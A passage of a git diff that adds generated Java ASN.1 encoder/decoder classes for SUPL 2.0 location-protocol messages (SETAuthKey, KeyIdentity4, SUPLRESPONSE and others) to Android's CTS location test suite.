+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public moreComponentsType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_moreComponentsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_moreComponentsType != null) {
+ return ImmutableList.of(TAG_moreComponentsType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new moreComponentsType from encoded stream.
+ */
+ public static moreComponentsType fromPerUnaligned(byte[] encodedBytes) {
+ moreComponentsType result = new moreComponentsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new moreComponentsType from encoded stream.
+ */
+ public static moreComponentsType fromPerAligned(byte[] encodedBytes) {
+ moreComponentsType result = new moreComponentsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "moreComponentsType (null value);\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPLREPORT = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/KeyIdentity4.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/KeyIdentity4.java
new file mode 100755
index 0000000..90c3c44
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/KeyIdentity4.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_response;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class KeyIdentity4 extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_KeyIdentity4
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public KeyIdentity4() {
+ super();
+ setMinSize(128);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_KeyIdentity4;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_KeyIdentity4 != null) {
+ return ImmutableList.of(TAG_KeyIdentity4);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new KeyIdentity4 from encoded stream.
+ */
+ public static KeyIdentity4 fromPerUnaligned(byte[] encodedBytes) {
+ KeyIdentity4 result = new KeyIdentity4();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new KeyIdentity4 from encoded stream.
+ */
+ public static KeyIdentity4 fromPerAligned(byte[] encodedBytes) {
+ KeyIdentity4 result = new KeyIdentity4();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "KeyIdentity4 = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SETAuthKey.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SETAuthKey.java
new file mode 100755
index 0000000..8e9baa5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SETAuthKey.java
@@ -0,0 +1,523 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_response;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SETAuthKey extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_SETAuthKey
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "SETAuthKey: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public SETAuthKey() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SETAuthKey;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SETAuthKey != null) {
+ return ImmutableList.of(TAG_SETAuthKey);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new SETAuthKey from encoded stream.
+ */
+ public static SETAuthKey fromPerUnaligned(byte[] encodedBytes) {
+ SETAuthKey result = new SETAuthKey();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SETAuthKey from encoded stream.
+ */
+ public static SETAuthKey fromPerAligned(byte[] encodedBytes) {
+ SETAuthKey result = new SETAuthKey();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $ShortKey(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SETAuthKey.shortKeyType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETAuthKey.shortKeyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $LongKey(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SETAuthKey.longKeyType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETAuthKey.longKeyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class shortKeyType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_shortKeyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public shortKeyType() {
+ super();
+ setMinSize(128);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_shortKeyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_shortKeyType != null) {
+ return ImmutableList.of(TAG_shortKeyType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new shortKeyType from encoded stream.
+ */
+ public static shortKeyType fromPerUnaligned(byte[] encodedBytes) {
+ shortKeyType result = new shortKeyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new shortKeyType from encoded stream.
+ */
+ public static shortKeyType fromPerAligned(byte[] encodedBytes) {
+ shortKeyType result = new shortKeyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "shortKeyType = " + getValue() + ";\n";
+ }
+}
+
+
+ public boolean isShortKey() {
+ return !hasExtensionValue() && Select.$ShortKey == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isShortKey}.
+ */
+ @SuppressWarnings("unchecked")
+ public SETAuthKey.shortKeyType getShortKey() {
+ if (!isShortKey()) {
+ throw new IllegalStateException("SETAuthKey value not a ShortKey");
+ }
+ return (SETAuthKey.shortKeyType) element;
+ }
+
+ public void setShortKey(SETAuthKey.shortKeyType selected) {
+ selection = Select.$ShortKey;
+ extension = false;
+ element = selected;
+ }
+
+ public SETAuthKey.shortKeyType setShortKeyToNewInstance() {
+ SETAuthKey.shortKeyType element = new SETAuthKey.shortKeyType();
+ setShortKey(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class longKeyType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_longKeyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public longKeyType() {
+ super();
+ setMinSize(256);
+setMaxSize(256);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_longKeyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_longKeyType != null) {
+ return ImmutableList.of(TAG_longKeyType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new longKeyType from encoded stream.
+ */
+ public static longKeyType fromPerUnaligned(byte[] encodedBytes) {
+ longKeyType result = new longKeyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new longKeyType from encoded stream.
+ */
+ public static longKeyType fromPerAligned(byte[] encodedBytes) {
+ longKeyType result = new longKeyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "longKeyType = " + getValue() + ";\n";
+ }
+}
+
+
+ public boolean isLongKey() {
+ return !hasExtensionValue() && Select.$LongKey == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isLongKey}.
+ */
+ @SuppressWarnings("unchecked")
+ public SETAuthKey.longKeyType getLongKey() {
+ if (!isLongKey()) {
+ throw new IllegalStateException("SETAuthKey value not a LongKey");
+ }
+ return (SETAuthKey.longKeyType) element;
+ }
+
+ public void setLongKey(SETAuthKey.longKeyType selected) {
+ selection = Select.$LongKey;
+ extension = false;
+ element = selected;
+ }
+
+ public SETAuthKey.longKeyType setLongKeyToNewInstance() {
+ SETAuthKey.longKeyType element = new SETAuthKey.longKeyType();
+ setLongKey(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "SETAuthKey = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SUPLRESPONSE.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SUPLRESPONSE.java
new file mode 100755
index 0000000..dec8e2c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SUPLRESPONSE.java
@@ -0,0 +1,467 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_response;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.PosMethod;
+import android.location.cts.asn1.supl2.ulp_components.SLPAddress;
+import android.location.cts.asn1.supl2.ulp_version_2_message_extensions.Ver2_SUPL_RESPONSE_extension;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SUPLRESPONSE extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SUPLRESPONSE
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SUPLRESPONSE() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SUPLRESPONSE;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SUPLRESPONSE != null) {
+ return ImmutableList.of(TAG_SUPLRESPONSE);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SUPLRESPONSE from encoded stream.
+ */
+ public static SUPLRESPONSE fromPerUnaligned(byte[] encodedBytes) {
+ SUPLRESPONSE result = new SUPLRESPONSE();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SUPLRESPONSE from encoded stream.
+ */
+ public static SUPLRESPONSE fromPerAligned(byte[] encodedBytes) {
+ SUPLRESPONSE result = new SUPLRESPONSE();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PosMethod posMethod_;
+ public PosMethod getPosMethod() {
+ return posMethod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosMethod
+ */
+ public void setPosMethod(Asn1Object value) {
+ this.posMethod_ = (PosMethod) value;
+ }
+ public PosMethod setPosMethodToNewInstance() {
+ posMethod_ = new PosMethod();
+ return posMethod_;
+ }
+
+ private SLPAddress sLPAddress_;
+ public SLPAddress getSLPAddress() {
+ return sLPAddress_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SLPAddress
+ */
+ public void setSLPAddress(Asn1Object value) {
+ this.sLPAddress_ = (SLPAddress) value;
+ }
+ public SLPAddress setSLPAddressToNewInstance() {
+ sLPAddress_ = new SLPAddress();
+ return sLPAddress_;
+ }
+
+ private SETAuthKey sETAuthKey_;
+ public SETAuthKey getSETAuthKey() {
+ return sETAuthKey_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SETAuthKey
+ */
+ public void setSETAuthKey(Asn1Object value) {
+ this.sETAuthKey_ = (SETAuthKey) value;
+ }
+ public SETAuthKey setSETAuthKeyToNewInstance() {
+ sETAuthKey_ = new SETAuthKey();
+ return sETAuthKey_;
+ }
+
+ private KeyIdentity4 keyIdentity4_;
+ public KeyIdentity4 getKeyIdentity4() {
+ return keyIdentity4_;
+ }
+ /**
+ * @throws ClassCastException if value is not a KeyIdentity4
+ */
+ public void setKeyIdentity4(Asn1Object value) {
+ this.keyIdentity4_ = (KeyIdentity4) value;
+ }
+ public KeyIdentity4 setKeyIdentity4ToNewInstance() {
+ keyIdentity4_ = new KeyIdentity4();
+ return keyIdentity4_;
+ }
+
+
+
+ private Ver2_SUPL_RESPONSE_extension extensionVer2_SUPL_RESPONSE_extension;
+ public Ver2_SUPL_RESPONSE_extension getExtensionVer2_SUPL_RESPONSE_extension() {
+ return extensionVer2_SUPL_RESPONSE_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_SUPL_RESPONSE_extension
+ */
+ public void setExtensionVer2_SUPL_RESPONSE_extension(Asn1Object value) {
+ extensionVer2_SUPL_RESPONSE_extension = (Ver2_SUPL_RESPONSE_extension) value;
+ }
+ public void setExtensionVer2_SUPL_RESPONSE_extensionToNewInstance() {
+ extensionVer2_SUPL_RESPONSE_extension = new Ver2_SUPL_RESPONSE_extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosMethod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosMethod();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosMethodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosMethod.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posMethod : "
+ + getPosMethod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSLPAddress() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSLPAddress();
+ }
+
+ @Override public void setToNewInstance() {
+ setSLPAddressToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SLPAddress.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sLPAddress : "
+ + getSLPAddress().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSETAuthKey() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSETAuthKey();
+ }
+
+ @Override public void setToNewInstance() {
+ setSETAuthKeyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETAuthKey.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sETAuthKey : "
+ + getSETAuthKey().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeyIdentity4() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeyIdentity4();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeyIdentity4ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? KeyIdentity4.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keyIdentity4 : "
+ + getKeyIdentity4().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionVer2_SUPL_RESPONSE_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionVer2_SUPL_RESPONSE_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionVer2_SUPL_RESPONSE_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver2_SUPL_RESPONSE_extension : "
+ + getExtensionVer2_SUPL_RESPONSE_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SUPLRESPONSE = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_set_init/Ver2_SUPLSETINIT.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_set_init/Ver2_SUPLSETINIT.java
new file mode 100755
index 0000000..bc45723
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_set_init/Ver2_SUPLSETINIT.java
@@ -0,0 +1,347 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
